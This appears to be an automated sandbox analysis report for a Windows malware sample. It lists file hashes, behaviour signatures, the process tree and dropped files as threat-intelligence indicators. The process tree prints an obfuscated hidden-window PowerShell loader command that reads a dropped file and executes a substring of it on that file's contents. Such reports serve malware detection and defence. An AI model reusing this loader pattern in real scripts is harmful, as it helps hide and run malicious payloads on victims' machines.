Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system - submitted
10/07/2024, 02:36
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe
Resource
win7-20240708-en
16 signatures
150 seconds
Behavioral task
behavioral2
Sample
f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe
Resource
win10v2004-20240709-en
6 signatures
150 seconds
General
- Target f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe
- Size 389KB
- Sample240710-c3j2astdph
- SHA256 f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0
- MD5 016b555049364f09f3d2f58fe88c28f7
- SHA1 48893b18559daa8392ff371117f799113c81c90d
- SHA512 15ce409cdb879c30d14d6211127fa0d8f7cc22611b3c20906f70ef5da059dd769953441e4cd466b2b6c3f7a6124786f0c6f981abc75812f2a99d452bd1d3d586
- SSDEEP 6144:9M23AbpBWzrsx8NjZc+2xFLHUxxf5WMG8FtObeYv5JuvWLWC32jTMA3hJCQNUs:vGpQzQ8cLxFQtdG8Ftqvzh9pKJfNb
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1204 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
pid pid_target Process procid_target 1976 1204 WerFault.exe 83 - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1204 powershell.exe 1204 powershell.exe 1204 powershell.exe 1204 powershell.exe 1204 powershell.exe 1204 powershell.exe 1204 powershell.exe 1204 powershell.exe 1204 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1204 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1604 wrote to memory of 1204 1604 f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe 83 PID 1604 wrote to memory of 1204 1604 f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe 83 PID 1604 wrote to memory of 1204 1604 f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe 83
Processes
-
C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe"C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1604 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Forsvrgelsen=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla';$Decubitus=$Forsvrgelsen.SubString(65564,3);.$Decubitus($Forsvrgelsen)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1204 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1204 -s 22683⤵
- Program crash
PID:1976
-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1204 -ip 12041⤵PID:2260
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uqpcfseo.a5g.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla
- Size 64KB
- SHA256 92eca1cfe870c436907085d7d2d85ea69c5596d456a98224937d631cfaf4adc6
- MD5 c9035c38abb2f8b3e1255a2320926c2b
- SHA1 29ee2663a1f9e8c907791957558b79dff166413c
- SHA512 9b1f7655ec40cd92a873547bf7b8b03de824ee53bf2cbd516ec245e3cbc385e6659ce61ce5c94c1460877d697a42fbf1ee65db3abed1474c7aeec233208e89f7
- SSDEEP 1536:vs8a2m7EDVyBpJ+Gmyr/vyzY3Pr8SXFkcsBs9KmjfybPuqgQZhqM7GNn2:Eb2mIDu+GmyjE/SX+Bs9Kmj6bPgQZfGM
- MD5 SHA1 SHA512 SSDEEP